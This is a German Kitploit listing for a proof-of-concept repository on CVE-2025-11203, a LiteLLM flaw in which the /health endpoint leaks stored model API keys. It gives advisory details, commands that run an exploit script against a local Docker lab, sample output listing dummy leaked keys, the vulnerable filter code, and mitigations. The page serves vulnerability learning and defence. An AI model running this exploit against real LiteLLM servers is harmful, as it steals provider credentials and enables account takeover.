Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-11203-PoC — Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle | Kitploit
Tools/GitHubGitHub/learner202649/cve-2025-11203-poc
SchwachstellenanalyseExploitationInformationsbeschaffungWebsicherheitLernen & BildungAPI-Sicherheit
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle

Repository anzeigen
4vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-11203 — Offenlegung von API_KEY-Informationen über den LiteLLM-Health-Endpunkt

LiteLLM (Versionen < 1.63.14) filtert beim Verarbeiten des api_key-Parameters im /health-Endpunkt sensible Informationen nicht korrekt, sodass authentifizierte Benutzer in anderen Modellkonfigurationen gespeicherte API-Keys abrufen können. Das api_key-Feld, das eigentlich von der Funktion _clean_endpoint_data() entfernt werden sollte, wird in bestimmten Codepfaden preisgegeben.

FeldWert
CVECVE-2025-11203
ZDI IDZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
BetroffenLiteLLM < 1.63.14
Behobenv1.63.14+ (_clean_endpoint_data() vollständig angewendet)
Veröffentlicht2025-10-29
Entdeckt vonDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
An Anbieter gemeldet2025-03-25
LinksZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Beschreibung

Der /health-Endpunkt von LiteLLM wird verwendet, um den Gesundheitsstatus aller konfigurierten Modelle zurückzugeben. Normalerweise sollte die Funktion _clean_endpoint_data() sensible Felder (wie api_key, x-api-key usw.) aus den Health-Check-Antworten entfernen.

Vor v1.63.14 wurde diese Bereinigungsfunktion in bestimmten Codepfaden jedoch nicht ausgeführt oder nur unvollständig ausgeführt, wodurch API-Keys aus Modellkonfigurationen im Klartext in den Health-Check-Antworten zurückgegeben wurden.

Verwundbare Endpunkte

EndpunktMethodeBeschreibung
/healthGETGibt den Gesundheitsstatus aller Modelle zurück
/health/livelinessGETLebendigkeitsprüfung
/health/readinessGETBereitschaftsprüfung

Offengelegte sensible Informationen

Authentifizierte Benutzer können über die Health-Check-Schnittstelle abrufen:

  • API-Keys aller konfigurierten Modelle (OpenAI, Anthropic, Azure usw.)
  • Informationen wie Modell-Endpunkt-URLs
  • Gespeicherte Anmeldedaten können für weitere Angriffe verwendet werden

Proof of Concept

Quick Start (Docker)

root@kitploit:~
# 1. Verwundbare LiteLLM-Version starten
docker compose up -d

# 2. Abhängigkeiten installieren
pip install -r requirements.txt

# 3. Exploit-Skript ausführen
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. Vollständige Antwort anzeigen
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (Optional) Behobene Version verifizieren
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

Erwartete Ausgabe

root@kitploit:~
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Hinweis: Schritt 1 dauert ~60 s, da LiteLLM jedes Upstream-Modell abfragt (Dummy-Schlüssel führen bei jeder Verbindung zu einem Timeout). Die geleakten Schlüssel erscheinen unter unhealthy_endpoints, da sich die Dummy-Schlüssel nicht wirklich mit OpenAI/Anthropic verbinden können.

Die behobene Version verhindert die Offenlegung:

root@kitploit:~
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Technische Details

Verwundbarer Code

Die Schwachstelle befindet sich in der Funktion _clean_endpoint_data() in litellm/proxy/health_check.py, die sensible Felder wie api_key über die Liste ILLEGAL_DISPLAY_PARAMS filtert:

root@kitploit:~
ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

In dieser Demo wurde "api_key" per sed aus ILLEGAL_DISPLAY_PARAMS entfernt, sodass die /health-Antwort die unveränderten Modellkonfigurationen zurückgibt und so simuliert wird, dass die Bereinigungsfunktion in bestimmten Codepfaden umgangen wird.

Auswirkungen

  • Authentifizierte Benutzer mit niedrigen Rechten können API-Keys aus allen Modellkonfigurationen lesen
  • Die geleakten Anmeldedaten können zum direkten Aufrufen von LLM-Provider-APIs verwendet werden
  • Dies kann zu weiteren Datenlecks und zur Übernahme von Konten führen

Umgebung

root@kitploit:~
CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Behebung

Die Schwachstelle wurde in v1.63.14 behoben, indem sichergestellt wird, dass _clean_endpoint_data() in allen Health-Check-Codepfaden korrekt aufgerufen wird.

Gegenmaßnahmen

  1. Upgrade von LiteLLM auf v1.63.14+
  2. Falls ein Upgrade nicht möglich ist, die Zugriffsquellen auf den /health-Endpunkt einschränken
  3. Ungewöhnliche Zugriffe auf die Health-Check-Endpunkte überwachen

Referenzen

  • ZDI-25-929
  • NVD Detail
  • GHSA-w4vf-cc4x-mpjq
  • LiteLLM v1.63.14 Release Notes

Haftungsausschluss: Dieser Inhalt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests.

Tool herunterladen